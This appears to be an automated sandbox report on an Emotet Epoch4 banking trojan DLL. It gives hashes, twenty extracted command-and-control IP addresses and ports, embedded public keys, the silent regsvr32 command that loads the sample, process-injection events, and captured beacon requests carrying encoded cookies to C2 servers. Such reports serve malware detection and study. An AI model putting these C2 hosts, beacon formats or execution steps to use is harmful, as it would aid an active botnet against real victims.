emotet | c20e996d1bca9feb6e3c2a12c1036a42f12708082f0c30b9fc02c1a963b85ec4

General

Target

dh.net.br_z8aaeYeueGKQNTbu5rU0VSt87t0I9.dll
Size

308KB
MD5

3b5f584e27398b16ba2b9e063f0c5c07
SHA1

54e147ae3af87f7b4b02cf87c85f8559ca348024
SHA256

c20e996d1bca9feb6e3c2a12c1036a42f12708082f0c30b9fc02c1a963b85ec4
SHA512

2006ee588e3b013a28c1bb6d0217e6e57a72e8533befade8be0b9ff527ef6b0e1f9d6e288f40d65e36ce05a46de3c89c974207567306f90b288b8c18c2af4f42

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

C2

82.165.152.127:8080

51.161.73.194:443

103.75.201.2:443

5.9.116.246:8080

213.241.20.155:443

79.137.35.198:8080

119.193.124.41:7080

186.194.240.217:443

172.105.226.75:8080

150.95.66.124:8080

131.100.24.231:80

94.23.45.86:4143

209.97.163.214:443

206.189.28.199:8080

173.212.193.249:8080

153.126.146.25:7080

51.91.76.89:8080

1.234.2.232:8080

163.44.196.120:8080

149.56.131.28:8080

eck1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw
3
TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg==
4
-----END PUBLIC KEY-----

ecs1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov
3
pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==
4
-----END PUBLIC KEY-----

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1652	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1652	regsvr32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 1712	1652	regsvr32.exe	28
PID 1652 wrote to memory of 1712	1652	regsvr32.exe	28
PID 1652 wrote to memory of 1712	1652	regsvr32.exe	28
PID 1652 wrote to memory of 1712	1652	regsvr32.exe	28
PID 1652 wrote to memory of 1712	1652	regsvr32.exe	28

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\dh.net.br_z8aaeYeueGKQNTbu5rU0VSt87t0I9.dll
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\system32\regsvr32.exe
  C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WeKLAjVWdzCcALNR\HFkINokrcWLwcRe.dll"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1712

Network

GET

https://139.162.113.169:8080/

regsvr32.exe

Remote address:

139.162.113.169:8080

Request

GET / HTTP/1.1
Cookie: cPtLcIQgXirc=zz0WphaGlCCTB6QrJE0UzfDNy7fuIdwFWtumcauTgcOL8BaobYp02qnRZoKSC+BV8S4AUqvz8MTar0o4qK41Kh8uemqe5i1YskgbvEy5v6C9bX+uD9U+vI/Ow5C8K9wsCe6qDA/zKB6HGoHDy4vONMto9D3eHe966qP6vw/L0+mI+BxbP3vyMMeVuEx/p4+hOA/CdrM7Ty27DEpVTzFB9pkABWSl7GgIjG/vUV3f7DFR4PVO0xFU3iIprN6pq0DE0tfqVFZ5Z1dMHF8NC1ZIX+yptJ3mzdXnXNHwAyCTHN9KpFpcfv6csejTSdzPmXG0qdTF2s+BQ0RL
Host: 139.162.113.169:8080
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Thu, 30 Jun 2022 06:53:11 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
GET

https://135.148.6.80/

regsvr32.exe

Remote address:

135.148.6.80:443

Request

GET / HTTP/1.1
Cookie: eJwyj=zz0WphaGlCCTB6QrJE0UzfDNy7fuIdwFWtumcauTgcOL8BaobYp02qnRZoKSC+BV8S4AUqvz8MTar0o4qK41Kh8uemqe5i1YskgbvEy5v6C9bX+uD9U+vI/Ow5C8K9wsCe6qDA/zKB6HGoHDy4vONMto9D3eHe966qP6vw/L0+mI+BxbP3vyMMeVuEx/p4+hOA/CdrM7Ty27DEpVTzFB9ttp9dCjGwLC1QCMUyJJ8XPz3uyux3VGyx+OpcPLSqXKagh8rDd64+lErNXpzcWs
Host: 135.148.6.80
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Thu, 30 Jun 2022 06:53:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

45.76.181.158:443

regsvr32.exe

152 B
3
45.76.181.158:443

regsvr32.exe

152 B
3
139.162.113.169:8080

https://139.162.113.169:8080/

tls, http

regsvr32.exe

1.4kB
2.8kB
13
11

HTTP Request

GET https://139.162.113.169:8080/

HTTP Response

404
135.148.6.80:443

https://135.148.6.80/

tls, http

regsvr32.exe

1.2kB
4.1kB
11
11

HTTP Request

GET https://135.148.6.80/

HTTP Response

200

No results found

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1652-54-0x000007FEFC4E1000-0x000007FEFC4E3000-memory.dmp

Filesize
8KB

Download
memory/1652-55-0x0000000180000000-0x000000018002B000-memory.dmp

Filesize
172KB

Download

Analysis

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